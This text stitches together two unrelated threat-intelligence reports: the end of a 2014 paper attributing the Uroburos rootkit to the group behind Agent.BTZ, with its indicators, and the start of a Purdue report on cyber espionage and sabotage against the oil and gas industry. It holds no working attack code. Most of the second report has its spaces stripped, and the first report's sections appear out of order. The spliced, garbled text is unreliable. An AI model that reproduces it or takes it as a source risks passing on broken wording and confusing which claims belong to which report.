Victims and attribution Due to the complexity of the Uroburos rootkit, we estimate that it was designed to target government institutions, research institutions or companies dealing with sensitive information as well as similar high-profile targets.
Concerning the attribution, we found some technical information which allows us to link the Uroburos rootkit to a cyber-attack against the United States of America, carried out in 20084 and, particularly, to the worm used by the attackers, called Agent.
BTZ.
During this 2008 campaign, a USB stick was deliberately lost in the parking lot of the United States Department of Defense.
This USB stick contained malicious code and infected the militarys network.
The following leads make us link what we discovered during our analysis with the cyber-attack carried out in 2008: the usage of the same obfuscation key in Uroburos and Agent.
BTZ (1dM3uu4j7Fw4sjnbcwlDqet4m5Imnxl1pzxI6as80cbLnmz54cs5Ldn4ri3do5L6gs923HL34x2f 5cvd0fk6c1a0s) the usage of the same file name to store logs: winview.ocx Uroburos actually checks whether Agent.
BTZ is already present on the attacked system, before its installation.
In case Agent.
BTZ is installed, Uroburos will not be installed on the system.
the usage of Russian language in both codes In an article published by Reuters, in 2011, the journalist mentioned that U.S. government strongly suspects that the original attack was crafted by Russian Intelligence.5 We found Uroburos samples with a resource in Russian language: In case someone from the audience of this report notices an infection caused by the Uroburos rootkit and needs help, would like to receive further technical information or would like to contribute any information about this case, please feel free to contact us by email using the following mailbox: intelligencegdata.de 4 http://en.wikipedia.org/wiki/2008_cyberattack_on_United_States 5 http://www.reuters.com/article/2011/06/17/us-usa-cybersecurity-worm-idUSTRE75F5TB20110617 Figure 9: Resource with Russian language Copyright 2014 G Data Software AG 10 mailto:intelligencegdata.de G Data Red Paper February 2014: Uroburos Conclusion The Uroburos rootkit is one of the most advanced rootkits we have ever analyzed.
The oldest driver we identified was compiled in 2011, which means that the campaign remained undiscovered for at least three years.
The investment to develop a complete framework such as Uroburos is extremely high.
The developer team behind the development and the design of such an enhanced framework is really skilled.
We believe that, until today, the team behind Uroburos has developed an even more sophisticated framework, which still remains undiscovered.
The design is highly professional the fact the attackers use a driver and a virtual file system in two separate files which can only work in combination, makes the analysis really complicated.
One needs to have the two components to correctly analyze the framework.
The driver contains all of the necessary functionality and the file system alone simply cannot be decrypted.
The network design is extraordinarily efficient, too for an incident response team, it is always complicated to deal with peer-to-peer infrastructure.
It is also hard to handle passive nodes, because one cannot quickly identify the link between the different infected machines.
This kind of data stealing software is too expensive to be used as common spyware.
We assume that the attackers reserve the Uroburos framework for dedicated and critical targets.
This is the main reason why the rootkit was only detected many years after the suspected first infection.
Furthermore, we assume that the framework is designed to perform cyber espionage within governments and high profile enterprises but, due to its modularity, it can be easily extended to gain new features and perform further attacks as long as it remains undetected within its target.
There are some strong indications which suggest that the group behind Uroburos is the same as the one behind Agent.
BTZ, which allegedly was part of an intelligence agency cyberattack targeting US military bases in 2008.
Notable hints include the usage of the exact same encryption key then and now, as well as the presence of Russian language in both cases.
Technical details SHA256: BF1CFC65B78F5222D35DC3BD2F0A87C9798BCE5A48348649DD271CE395656341 MD5: 320F4E6EE421C1616BD058E73CFEA282 Filesize: 210944 For further information contact intelligencegdata.de Copyright 2014 G Data Software AG 11 mailto:intelligencegdata.de Executive Summary What is Uroburos?
Technical complexity suggests connections to intelligence agencies Relation to Russian attack against U.S. suspected Probably undiscovered for at least three years Infection vector still unknown Analysis Uroburos name Rootkit framework Hiding malicious activities with the help of hooks Virtual file systems The NTFS file system Third party tools Injected libraries - controlling the activities Network capabilities Victims and attribution Conclusion Technical details
CERIAS Tech Report 2013-9 Crude Faux: An analysis of cyber conflict within the oil gas industries by Kambic, K., Aurthor, K,.
Ellis, W., Jensen, T., Johansen, K., Lee, B., Liles, S. Center for Education and Research Information Assurance and Security Purdue University, West Lafayette, IN 47907-2086 1 Crude Faux An Analysis of cyber Conflict Within the Oil Gas Industries Authors Abstract Jake Kambic, Kristine Aurthor, Will Ellis, Mary Horner, Tyler Jensen, Kyle Johansen, Brian Lee Under the direction of Dr. Samuel Liles The oil gas industry is a mul- tibillion-dollar industry that has a history of conflict.
As modern technology has developed, both the corporate aspects and technical as- pects of the oil gas industry have become heavily reliant on the Cy- ber domain.
The inherently insecure origins and evolution of computing has led that dependence to become a severe vulnerability.
This report examines how these vulnerabilities have been exploited, and what that means to the future of the industry.
Purdue University Cyber Conflict Transational Cyber-Crime Course 2 Executive Summary Theoilgasindustryisamultibillion-dollarindustrythathasahistoryofconflict.
Asmoderntechnology hasdeveloped,boththecorporateaspectsandtechnicalaspectsoftheoilgasindustryhavebecomeheavily reliantontheCyberdomain.
Theinherentlyinsecureoriginsandevolutionofcomputinghasledthatdependence tobecomeaseverevulnerability.
Recenteventshavebroughtthisfacttolightwithadelugeofcyberattacks launchedgloballyagainsttheindustry.
Theseattacksraisespecterofcyberconflictandthequestionofculpabil- ity.
Thisreportseekstoanalyzeaselectionoftheseevents,lookingforpatternsthatwouldindicateoneormore advancedactors.
Byobservingthemotivesmeansandopportunitiespresentedtoactors,andlookingatacross sectionoftheseattacksovertime,conclusionswillbedrawnastothepast,present,andfutureofcyberconflict withintheindustry.
TheUSArmynotesintheirCyberConceptCapabilitiesplanfor2016-2028thatcybercapabilitiesposeaunique andattractiveopportunitytoaninferiorenemytogainequivalencetemporaryequivalencewithasuperiorenemy throughtheuseofCyber.
Thisappliesnotonlytonationstates,butnon-stateactorsaswell.
Thereareseveralfac- torscompoundingthisissue: Unfetteredaccesstotheinfrastructureandtoolsusedtoconductcyberoperationsbyanyone Alowbarriertoentryfiscallyandlimitedexperiencerequiredtoachieveanoutsizedimpact Ahighandattractivereturnoninvestment Plausibledeniabilityduetoissueswithattribution Thesefactsmakeithighlylikelythatmultipleforeignagenciesaswellaspowerfulcorporatedenizenshaveused andcontinuetomakeuseofcybercapabilitiestoaffectfavorableoutcomes.
Methods:UsingOSINTtechniques,informationwasgatheredfromgovernmentwebsites,corporatewebsites, newsagencies,andsearchenginequeries.
Thisinformationwasthensynthesizedandscrutinizedforpossiblelinks andattribution.
Bylookingatthesurroundinggeopoliticalevents,gainsandlossesaswellasindirectoutcomes, eventscanbecorrelatedandattributedtoactorswhichpossessthemeansmotiveandopportunitytodoso.
The primarypurposeistoanalyzetheeventregardlessofattribution.
Becauseofthenatureofopensourceinforma- tion,biasesarenaturallyintroducedwhichmustbeacknowledged,ifnotaccountedfor.
Events:Incidentswereselectedbasedonrelevanceandtheirtimeliness,alongwithotherfactorsdiscussedinthe methodology.
Incidentswerelargelygroupedintooneofthreecategories:espionage,sabotage,andincidental/ miscellaneous.
WhiletheseincidentsdonotqualifyaswarfarebytheClausewitzdefinition,theyareaformof conflict.
Cyber Espionage:Thereissignificantevidenceofprotracted,insidiousespionagecarriedoutbyastateactorwithin thecyberrealm.
Chinahaslikelylaunchhundredsofcyberattacksagainsttheoilandgasindustrysinceasearlyas 2002.WiththeadventofRedOctober,theymaynotbetheonlyactorsinthegame.
Withalevelofsophistication notyetobservedpubliclyinthisrealm,RedOctobercouldrepresentanevolutiontoChinascurrenttechniques,or anotheractorenteringthegame.
Bylookingatsomeofthetechnicalaspectsoftheevents,alinkwasestablished betweenByzantineCandorandAPT1,aswellasapossiblelinkbetweentheMirageCampaignandElderwoodProj- ect.
3 Sabotage: TheMiddleEasthassceneperhapsthemostevidenceandvarietyofcyberconflictofall.
Whilestayingaway fromeventswhichdonotdirectlyrelatetotheoilindustry,aseriesofsabotageincidentsusingcyberasthemediumare examined.
Itispossiblethatthereeventsweresalvosbetweennationstatesinanexampleofbidirectionalconflict.
Ifthis isnotthecase,andincidentslikeShamoonweresimplytheactofnon-stateactors,thenitrepresentsaffirmationofthe revelenceofnon-stateactorsinfuturecyberconflict.
ThisisonlylogicalsincemostofAmericascriticalinfrastructureis controlledbytheprivatesector,andeconomicinfluencecanbeleveragedtogaingreatpower.
Incidental:BytakinganadversariallookattheDeepwaterHorizonoilspill,anexampleofhowastateactorcouldactin aviolent,kineticwayagainstanon-statethroughcyberwhileremaininganonymousisexaminedthroughavignette.
It isdeterminedthatwhiletheDeepwaterhorizonspillwasnotanattack,iteasilycouldhavebeen.
Thistypeofconflictis bothdeadlyandcatastrophic,andwhileitisunlikelytobeusedlightly,itsetsthetoneforpossibilitiesgoingforward.
Conclusions: Basedontheobservedevents,thepossiblethreatactors,andthecorrelationoftheseevents,itappearsthat thereisongoingcyberconflictwithintheoilindustry.
Thecorrelationofseveralincidentshasshowncoordinatedattacks byanadvancedforeignthreatactoragainstmultipleentitieswiththeuseofespionage.
Ithasalsosuggestedthepos- sibilityofmoredestructiveattacks,andpointedoutthebenefitstobothstateactorsandnon-stateactorswithintheoil industry.
Insomecasestherehasbeenanobviousalignmentofpolitical,strategic,operational,andtacticalgoalsand principalstoaffectfavorableoutcomes.
Theculminationofthesefindingsisthattherearemanythreatactorswhoare currentlyengagedin,ormaybeengagedin,ongoingconflictwhichmayhavethepotentialtoescalate.
Thisshouldbe bothaprimaryconcernandacauseforfutureresearchandanalysis.
4 Introduction RecenteventsofnationalsignificancewithintheoilgasIndustryhavebroughttolightboththequestionof definingthreatsourcesandthatofplausiblyattributingknowneventstoathreatsource.
Theunprecedentedriseincy- bereventsbegetsthequestionofwhetherthisisincidentaltothecontinuedadvancementoftechnology,orsuggestsan ongoingconflictthatmayescalate.
Thisreportwillaggregaterelevantevents,presentcriteriaforoutliningthreatorigins, anddeterminethelikelihoodthattheincidentsarerelated.
Italsoseekstodeterminewhetherornotanyobservedcor- relationpointstoapersistentaggressororsimplycircumstantialcoincidence.
Thepurposeofthisanalysisistoprovide decision-makerswithaclearerideaofthecurrentsecurityoutlookfortheoilandgasindustry,andpinpointwhatcurrent andfuturecausesforconcernappeartobe.
Alleventsandpresentedoptionsshouldbeconsideredcautiouslyandas empiricallyaspossibleanyassumptionsthataremadewillbeexplicitlystated.
Timeline of Events Oneofthefirstprioritiesistooutlineatimelineofeventswhichhaveoccurredandthenexaminewhatsignifi- cancetheymayhaveorrelationshipstheymayshareinordertoscopetheconversation.
Theseeventswillconstitute theframefortheanalysis.
Eventswerechosenafterapreliminaryoverviewofcontentfromopensourcessuchas establishednewsmediasites,oilgascompanywebsites,Googlequeryresults,governmentbulletins,andtechnical reportsbysecuritycompanies.
Fromthisbriefoverview,eventswithintheOilandGasIndustrywhichexhibitedacyber componentwereselected.
Theseeventsarenotmeanttobeallinclusive,andduetotheentirelyopensourcenatureof theresources,thevantagepointontheinformationmaybebiasedandinmanyinstancesislikelyincomplete.
However evenanincompleteviewmaycontainenoughinformationtoidentifysignificantpatterns,andbyacknowledgingthe qualityconcernswiththeinformation,amoreaccurateandobjectiveanalysismaybeperformed.
Belowisatimelineof observedeventswhichwillbediscussedingreaterdetail.
Thetimelinewilllisttheeventandtheapparenttargetofthe event.
5 Cyber Espionage Sabotage Incidental/Misc Signicant Open-Source Cyber-Related Incidents within Oil Gas Industries [2008-2013] 0 MMbbl 2009 2010 2011 2012 2013 Top 20 Countries Proven Oil Reserves [2011] 211,169 MMbbl 20,000 MMbbl 2 4 3 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 ImportersExporters Top 5 [2011] (in thoursands of barrel per day) SA RU IR AE NG US CN JP IN DE Earliest known intrusion of Shady RAT in the Gas industrysophisticated infection and data exltration of corporate secrets A disgrunted former contractor for PER intentionally disables oshore oil rig safety controls remotely o the coast of California McAfee starts monitoring the Night Dragon cyber espionage campaign against oil, energy, and petrochemical companies Symantec ties back a Google hack to a campaign referred to as the Elderwood Project that targets Oil/Gas targets amongst others Deepwater Horizon Oil Rig suers catastrophic failure Control safety Systems had been rendered inhibited BG Group Plc and CHK.
are alleged to be victim of sophisticated data exltration of corporate secrets reported by Bloomberg Talisman Energy Halliburton Co. are targeted by the comment group as part of a corporate espionage campaign Sophisticated infection and data exltration of corporate secrets from unspecied oil gas companies in Norway Virus infects a series control systems on Kharg Island, Irans main oil exportation station, causing them to shut down the terminals Dells Counter Threat Unit begins tracking the Mirage cyber espionage campaignSophisticated data exltration of corporate secrets Anonymous hackers target oil industry giants, exposing more than 1,000 email credentials Shamoon virus systematically exltrates corporate data and wiped hard drives of over 30,000 computers at Saudis Aramco Sophisticated infection and data exltration of corporate secrets from Telvent, ltd.
Sophisticated infection and data exltrationin Iraq of corporate secrets suspected to be part of the Night Dragon campaign Virus infects a series control systems on Kharg Island, Irans main oil exportation station, causing them to shut down the terminals Anonymous announces their intent to attack international oil companies in OpFuelStrike Kaspersky announces Red October, a highly exible cyber espionage virus which targets, amongst others, global oil gas companies Mandiant releases a document entitled APT1 which implicates Chinas PLA sponsored espionage, including within the Oil Industry The CSM highlights a restricted DHS report states 23 gas pipeline companies were targeted via spear-shing 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 Timeline Details of Sampled Events 1 6 Giventhisdataset,anaturalescalationofeventsappearstooccur,withthefrequencyofincidentscontinuing torise.
Thiscanpartiallybeexplainedbyagrowinginternationalawarenessofthevulnerabilitiesandperilsinvolvedin internet-facingcontrolsystemsofallkindsaseventsoccur,theygarneradditionalattentionandthereforeinducead- ditionalincidents.
However,thereareotherinterestingobservationstobemadefromthisdata.
Largely,theincidentsofgreatnote haveoccurredineitherNorthAmericaortheMiddleEast.
Whenconsideringthatthreeofthetopfiveoilproducing countriesareintheseregions(SaudiArabia,theUnitedStates,andIran),thisisnotsurprising.
Yetsubstantivereports ofsimilarincidentsaremarkedlyabsentintheothertwoofthetopfiveoilproducingcountries(ChinaandRussia),and thisisnoteworthy.
Theargumentcouldbemadethatthisisduetolanguagebarriersandtightcontroloninformation dissemination,butitisimprobablethatasignificantincidentwouldhavegoneentirelyunnoticedbyallmediaoutlets.
As theincidentsthemselvesmakeapparent,humanthreatactorsareinvolved,andwhatremainstobeidentifiediswhether thereisthecomplexity,overarchingcoordination,orrecurringthreatsourcethatwouldpointtoanadvancedthreatsuch asastateactororcomplexnon-stateactor.
Beforecontinuingwiththepossibleattributionofevents,somebasediscussionandcriteriaforthethreatsourc- esmustbeestablished.
Athreatsourceisconsideredtobeahuman-basedornaturalentitywhichpossessesacapabil- itythatalignswithanunmitigatedvulnerability.
Thethreatsourceswhichwillbeconsideredmustmeettheminimum requirementofhavingboththemotiveandthemeanstocarryouttheattack.
Onceahypothesisconsistingoftheseele- mentsisestablished,itwillbescrutinizedtodeterminewhetherornottheeventssurroundingtheincidentorseriesof incidentsaligninanyobviouspolitical,strategic,operationalandtacticalmanner.
Themeansinthiscaseconsistsofboth theopportunityandthetechnologicalcapabilitytocausetheincidenttooccur,andthemotivesthatwillbeconsidered areeconomicgain,retribution,orpoliticalagenda(toincludeideology).
TheUSArmynotesintheirCyberConceptCapabilitiesplanfor2016-2028thatcybercapabilitiesposea uniqueandattractiveopportunitytoaninferior,asymmetricenemytotemporarilygainequivalencewithasuperioren- emybecauseofitsrelativelylowinitialcost,highreturnoninvestment,andplausibledeniabilityduetoissueswithattri- bution.
Becauseofthisfact,itishighlylikelythatmultipleforeignagenciesaswellaspowerfulcorporatedenizenshave usedandcontinuetomakeuseofcybercapabilitiestoaffectfavorableoutcomes.
Therestofthereportwillattemptto substantiatethisclaimthroughcriticalanalysis.
7 Methods Toreachtheconclusionspresentedintheensuingreportincidentswerecollectedandchosenbasedonthe inclusionofcybereitherasthemediumfortheevent,orassomecomponentfactorthatplayedadirectorotherwise instrumentalroleintheoutcome.
Aftercollectingasamplingofincidentsintoadataset,theseincidentswereexamined andseveraldirectlyattributablefeatures/impactsweretakenintoaccount,including: Thevictim(s)targeted Evidenceofcyberinvolvement Economiclosses Fatalitiesincurred Geopoliticalimpacts Beyondthedirectimpacts,itwasalsonecessarytoconsiderpossibleindirectrippleeffects.
Forexample,itcouldbe importanttoconsidersomethinglikethepricesofcrudeoilpriortoandafteragivenincident.
Acircumstancemaybe suchthatparticularcompaniesorcountriesunaffectedbytheincidentwouldfindthemselvesbenefitingfromaripple effectlikehighercrudeprices.
Othereffectstoidentifyincludechangesinthestatusoftheinvolvedcompaniesthrough- outanincident.
Thiscouldinvolvelookingatearningsreports,thesellingorbuyingofassets,oranylegalactionsthe companyisinvolvedin,aswellascontextualeventsthataresignificantorcontentiousandoccurdirectlypriortoorafter anincident.
Throughtheinvestigationoftheseoutcomesandcontexts,thereisthepossibilityoffindingcorrelationsbe- tweenvariousincidents.
Thesecorrelationsmaybemadeplainbyobservablepatternsamongthedetailsoftheevents.
Anobservedpatternmaysuggestarecurringactorthesepatternsincludetacticalandmethodicalsimilaritiesbetween allegedattacks,recurringtargets,entitiesthatdirectlyorindirectlybenefittedorincurredlossesasanoutcome,andgeo- graphicdispersionorclosenessoftheevents.
Incaseswhereanattackisapparent,tacticalelementssuchastoolswere scrutinizedaswell,asameansofattribution.
Forexample,atoolmayunintentionallyexhibitculturaltendenciessuchas thelanguageused,colloquialisms,idioms,religiouspreference,andrecurringpersonalhabitsofthecreatororoperator.
Thesesignaturescoupledwithaspectsofthetacticalassetslikeexclusiveness(asinthecaseofapurchaseddomainused asaC2point)cansignificantlyraisetheconfidencelevelofanattribution.
Possibleactorsinthecyberexchangecanostensiblybeidentifiedfromthesecorrelations.
Ifitisdetermined thattheincidentwasanattack,motivesofthepotentialactorscanbeconsidered.
Akeyelementofthisthatshouldbe consideredisanyprecedencefortheattack.
Thehistoryofpoliticalrelationshipsbetweencountries,suchasanyex- pressedhostilitiesorallegiancesandtreaties,mayalsoproverelevant.
Historyalsotellsusthatmostconflictsariseover theacquisitionofresources.
Assuch,theenergyresourcesandrequirementsofnation-statesmustbeanalyzed.
Forex- ample,istheentitybeingexaminedamajorimporterorexporterofoil?Istheentitycapableofenergyself-sufficiency?
Orhasthecountrybeenexperiencingamajorinfluxinenergydemand?Thisinformationcanthenbeaggregatedand synthesizedintoamoreinformedviewoftheevent.
Afinalmajorcomponentoftheanalysiswastheexaminationofwhetherthemotivesandmethodsalignwith theactorsstrategicculture.
Thisincludesdefiningtheoverallstrategictheoriesthatthecountryadherestoandgoalsit desirestoaccomplish.
Asmentionedearlier,thetacticsemployedduringtheattackcanbeincrediblypotentasanattri- butionmechanismifanattackisfarremovedfromanationscapabilities,itislesslikelythattheywereinvolvedinthe incident.
Likewise,ifthetacticsarewithinagivennationstechnicalprowessandfollowestablishedpatternsexhibitedby thatnation,itsignificantlyimprovestheconfidenceinattribution.
However,cautionwastakenwhenattributingtacticsto actors,asdeceptionisacommonelementinmanycyberwarfarestrategies.
Therefore,tacticalsimilaritiesordissimilari- 8 tiesalonedonotimplicitlyidentifyorruleoutagivenactor.
Biases ThenatureofOSINTgatheringposesobstaclestoobjectiveanalysis.
Whilegatheringthedata,itshouldbe notedthattherearesourcebiases.
Allofthesourcesusedareopensource,andassuchtheprovenanceoftheinforma- tioncannotalwaysbeindependentlyverified.
Theinformationitselfmaybelegitimate,butpresentedinanincomplete orskewedmanner.
Itisalsolikelythatnotallofthedetailsofthecollectedincidentsareavailable.
Insomecasesthe companiesreportingtheincidents,suchasSymantecandMacAfee,arenotlegallydisposedtodivulgeselectinformation abouttheircustomers.
Anotherlimitationisinformationavailableaboutincidentsthatoccurredinforeigncountries.
Duetotightercontroloverjournalismorlanguagebarriers,othercountriesarelikelynotreleasingfulldetailsfrominci- dentsthathaveoccurredornotdoingsoinlanguagesfamiliartotheauthors.
Insomecases,entireeventsmaynotbe releasedtothepublic,eitherbyforeigngovernmentsorthecompaniesthemselves.
Inordertoaddresstheaboveconcerns,severalmethodswereused.
Datawasgatheredfromestablished,and ideallytrustworthy,sources.
Thisincludesreportsfromreputablenewssites,companyorgovernmentpublications,or scholarlypapers.
Also,everyeffortwasmadetotrackdowntheoriginalsourceoftheinformationfoundinreports,or cross-examineitwithothersources.
Multiplesourceswerefoundwhereverpossibleandscrutinizedinordertoobtain corroboratingdata.
Ofequalinterestisinformationwhichwascontradictorybetweensources.
Thesecontradictions werepresentedandaddressedwhereappropriate.
Finally,despiteevidencefoundinsupportofanygivenactor,alternatehypothesesmustbeconsidered.
Aswith anyintelligencegathering,thereisthepossibilityoferror,whetherinformationismisreportedortakenoutofcontext, andthisisespeciallytrueofOSINT.Thepurposewasnottoselectanoutcomeandattempttosupportitbutratherto findrefutationaswell.
Informationthatmayexculpateaparticularactorwasthoroughlyconsidered.
Althoughhuman erroriscommonincyberincidents,itisimportanttodeterminewhethertheerrorwastakenadvantageofbyothers.
9 Cyber Espionage Oneofthemosteasilydistinguishablepatternsontheabovetimelineisthegrowingfrequencyofreportedcyber espionage.
Thissagaoflong-termcampaignshasbeengarneringalotofattention,andwithgoodreason.
Somehave assertedthatcertaincampaignshaveexistedsincetheearly2000s1,yettheirexistencehasonlyrecentlycometolightin theprivatesector.
Thedamagecausedbythesetypesofbreachesisdifficulttoestimatebecauseitoccurredoversucha longtimespan,butinsomecasesterabytesofdatawerestolenovertheperiodofafewmonths.2Whentakeninrelation totheoilindustry,whereproprietaryinformationlikebidexplorationdataisthelifebloodoftheorganization,thiscanbe adisastrousblow.
However,whilecampaignslikeNightDragonarepointedlytargetedattheoilindustry,othersarefar moreencompassingintheirbreadthandappearmoredisparate.
Establishingabaselineorpatternwithinthisindustryaloneexcludesalargeandpotentiallyusefulamountof context.
Notonlyweremostofthesecyberespionagecampaignslargerinscopethansimplytheoilandgasindustry, butsomealsocompletelyexcludedit.
Interestingly,thereareothercyberespionagecampaignsnotlistedinthetimeline (suchastheinfamousFlameandMahdiviruses)thattargetcountrieswithsomeofthelargestoilreservesintheworld, buttheattacksthemselveswerenottargetedattheOilGasIndustries.
Giventhesheernumberofincidents,itwouldseemlikelythatthereismorethanonesource,yetthetechnical dataavailableseemstosuggestotherwise.
Itisclearthattheseincidentsrepresentahugedangertotheprofitabilityand competitiveness,eventhefuturesuccess,ofvictimcompaniesYettheseconsequencescarrywiththemsomelevelof inherentattribution.
Theverynatureofproprietaryinformationmeansthatifanentitywhohadacquireditweretouse theinformation,itcouldidentifythemashavingaconnectiontotheincident,whetherdirectlyorthroughathirdparty.
Also,attacksofthisscalerequiresomeleveloforganizationthatmanifestsitselfintheformofrepeatedpatternsofbe- haviorandresourceusagethatcansuggestacommonorigin.
Thisorganizationcoupledwiththeresourcesandexpertise necessarytoprocessandanalyzetheexorbitantvolumeofstoleninformationleadstoahighlikelihoodofstateactoror organizedcriminalinvolvement.
Oneofthelargestdifficultiespresentinidentifyingtheprovenanceandtotalityoftheseattacksisthatthereis nopubliclyavailableaggregationofthebodyofinformationcollectedonthevariousAPTactivities.
Instead,Antivirus IncidentResponsefirmswhichhavethebestvantagepointonthesituationareprovidingseparatereportsinwhich theyusetheirowncolloquialnamesandtermsfortheattacks,thetools,andthecampaigns.
Thiscreatesoverlap,where campaignswithdifferentnamesmayinfactbepartofthesamecampaign,andthetechnicaldatathatisotherwise separatedacrossthereportscouldtogetherrepresentamoreapparentpattern.
Onlyonereport,theMandiantAPT1 report,includedabrieftablenotingthattheyhadcomparedsomeoftheotherattacksandruledoutAPT1astheculprit.
Additionally,thesefirmsareentrustedwiththesafeguardoftheircustomersinformation,andsooftenwillnotrelease thefullextentofwhatwasfound,noradefinitivelistofvictimsaddingtotheobscurity.
Thesesourcesalsointroduce theirownbiaseswhichmustbeaccountedfor.
Forthisreason,whatfollowsisanoverviewofthevariousreportsthatmentiontheoilandgasindustryas targets,andananalysisofimportanttechnicalaspectsandgoalsofthesecampaigns.
Throughthisanalysis,hopefully amorecompleteviewoftheactionmaybeobtainedtoseeifthegoals,resources,techniques,andtimeframesexhibit commonalitybetweenattacks.
1 Mandiant, APT1 (Feb 13, 2013).
Retrieved from http://www.mandiant.com/apt1 2 Ibid.
10 Oil/Gas Inclusive or Specific Campaigns Countries affect lists only countries where oil and gas companies were compromised.
Campaign:NightDragon Publisher:McAfee Synopsis:TheNightDragonreportreleasedbyMcAfeewassomewhatofaseminaleventin thatitwasthefirstwellknownreleaseofafairlydetailedAPTanalysisandtechnicalattribu- tion.
TheattacksconglomeratedinNightDragonwerenearlyallconductedagainstunspecified globaloil,energy,andpetrochemicalcompanies.
Theattacksfollowedamethodicalseriesof steps: 1.
usingSQL-injectiontoobtainaccesstoanextranetserver,orusingspear-phishing againstmobileworkerlaptopsandcompromisingcorporateVPNaccountstoob- tainaccesstothecompanyintranet 2.
uploadingcommonhashdumpingtoolspasswordcrackingtoolsharvestActive Directorycredentialstogainaccesstosensitivedesktopsservers 3.
Accesssensitivedocuments 4.
UploadRATmalwaretoexfiltratesensitivedata 5.
Movelaterally McAfeewasalsoabletoidentifymuchofthegenericmalwareused,andcommunications techniques.
Theyalsosuggestedthattheattackersworkedbetween9:00amand5:00pmBei- jingtimeduringweekdays,andthatmosttrafficwasoriginatingfromtheShandongProvince ofChina.
Published:Feb10, 2011 Earliest Date: [At- tackshavebeenongo- ingfor]atleasttwo years,andlikelyas manyasfour Circa2007-2009 Purpose:Exfiltrationofcompetitiveproprietaryoperationsandproject-financinginformation withregardtooilandgasfieldbidsandoperationscollectionofdatafromSCADASystems Entry Method:SocialEngineering,SpearPhishing,SQL-injection Countries with Companies Affected:U.S.,Taiwan,Kazakhstan,Greece Campaign:Elderwood Publisher:Symantec Synopsis: SymantecobservedagroupitreferstoastheElderwoodgangoperatingacon- certedcampaignagainstavarietyofindustriesincludinganundisclosedoilandgascompany.
SymantecalsoassertsthatthesearethesamehackerswhooperatedintheAuroracam- paignagainstGooglein2009.Thiscampaignisuniquetosomedegreeinthatitusedahigh numberofzerodayexploitsinAdobeFlashandMicrosoftsInternetExplorer.
Whileitappears thattheattackersusedspear-phishing(viaemail),theirprimarytechniquewastheuseofa watering-holeattackwherebytheyattackwebsitesknowntobefrequentedbythetarget usingtechniquessuchasSQLinjection,anduploadmaliciousfilestothesewebsite.
Thetarget thenvisitsthesiteandgetsinfected.
Thisisinterestingbecausethetargetdoesnothaveany indicationthatithasbeencompromised,butthenumberofoverallinfectionsgoesupbecause ofuntargetedvictimswhichalsovisitthesite.
Thisattackrequirestheattackerstofindsecurity vulnerabilityinthedesiredwebsiteafterselection,requiringmoretechnicalskillthansomeof theothercampaignsinitiallyexhibit.
Symantecbelievesthattheexploitswerepackedwitha TrojanandCommandControl(C2)serveraddressusingaplatformthatgivesthegroupits name:Elderwood.
Published:Sept06, 2012 EarliestDate:Decem- ber2009 Purpose:thewholesalegatheringofintelligenceandintellectualproperty Entry Method:Watering-Holeattacks,SpearPhishing Countries with Companies Affected:Undisclosed 11 Campaign:ShadyRAT Publisher:McAfee Synopsis: ThisreportreleasedbyMcAfeediscussesaRATtheyclaimtobeincrediblyprolific, infectingavarietyofindustriesacrossmultiplecountries.
Thereportitselfisverysparseonany technicaldetailsorevidence,largelylackingsubstance.
Itprovidesalistofvictimsbyindustry andtheircountryoforigin.
Italsoprovidesadetailedtimelinefortheattacks.
Interestingly,EugeneKasperskyheavilycriticizedthereportforbeingalarmistandskewed, statingthatmanyoftheconclusionswerepresumptive.
Published:August02, 2011 Earliest Date: July 2006 Purpose:Exfiltrationofahistoricallyunprecedentedtransferofwealthcloselyguarded nationalsecrets(includingthosefromclassifiedgovernmentnetworks),sourcecode,bug databases,emailarchives,negotiationplansandexplorationdetailsfornewoilandgasfield auctions,documentstores,legalcontracts,supervisorycontrolanddataacquisition(SCADA) configurations,designschematics,andmuchmore Entry Method: Spear Phishing Countries with Companies Affected:U.S. Campaign:Mirage Publisher:DellSe- cureWorks Synopsis: DellSecureWorksgivesafairlygoodcollectionoftechnicaldetailsaboutthecam- paigntheyvedubbedMirageforthestringusedtoconnecttotheC2serverbytheRemote AccessTrojan,butlargelytheyfocusedonstudyingthetool,notmonitoringtheAPTactivity.
SomepointsofnotearetheuseofHTRAN(arelaythatDellsCyberThreatUnitassertswas developedbytheHonkerUnionofChina,orHUC)forrelaying,andregistryofafewdomains toanemailaddress(dnsjackyahoo.com)andIPrangesinChina.
Published:Sep18 2012 Earliest Date:April 2012 Purpose:Theftofintellectualpropertyandcompanysecrets Entry Method:SocialEngineering,SpearPhishing,SQL-injectionofwebservers Countries with Companies Affected: Philippines, Canada 12 Campaign:RedOctober Publisher:Kaspersky Synopsis: RedOctoberisasophisticatedespionagenetworkverymuchunlikeotherattacks whichhadbeenreported.
Whileforthemostpart,thetargetswerediplomatic,therewere severalinstanceswhereKasperskynotedthatoilandgasindustrieshadbeentargeted.
The attackuseddomainsregisteredtoRussianemailaddresses,andIPrangesidentifiedwereser- vicedbylargelyGermanandRussianISPs,howeverKasperskybelievesthatthethreemother- shipC2serversidentifiedareactuallythemselvesproxiesforanasyetunidentifiedC2server whichcouldthenbeoperatingnearlyanywhere.
AsalientpointisthatRedOctobermade useofexploitcodethatwascreatedbyotherattackersandemployedduringdifferentcyber attacks.
Theattackerslefttheimportedexploitcodeuntouched,perhapstohardentheidenti- ficationprocess.
Additionally,RedOctoberissomewhatuniqueamongstattacksthattargeted oilandgasinthatitiscapableofstealinginformationfromavarietyofembeddeddevices suchasphoneandrouters.
Published:Jan14, 2013 Earliest Date:May 2007 Purpose:gatherintelligencefromthecompromisedorganizations Entry Method:SocialEngineering,SpearPhishing,SQL-injectionofwebservers Countries with Companies Affected:Azerbaijan,Belarus,Turkmenistan,UAE Campaign:APT1 Publisher:Mandiant Synopsis:TheAPT1Reportisperhapsthemostdetailedreporttodate.
Theyalsomincedno words,directlyaccusingChinaasastateactorofengaginginCyberEspionage.
Researchers atMandianttrackedbackactivitiesofanAPTgrouptheyreferredtoasAPT1totheChinese PLAUnit61398withrelativelysolidevidence.
Theyevenwentsofarastoreportthebuilding whichtheybelievedAPT1wasoperatingoutof,andunmaskthreeoperatorsUglyGorilla, DOTA,andSuperHardgivingpossiblerealnames,onlinepersonasandotheridentifyinginfor- mationaboutthem.
APT1operatedoverhalfadecadeatleast,stealinghundredsofterabytes ofdatafromatleast141organizations,oftenconductingsuchoperationsinparallel.
The attackersmaintainaccesstoagivennetworkfornearlyayearonaverage.
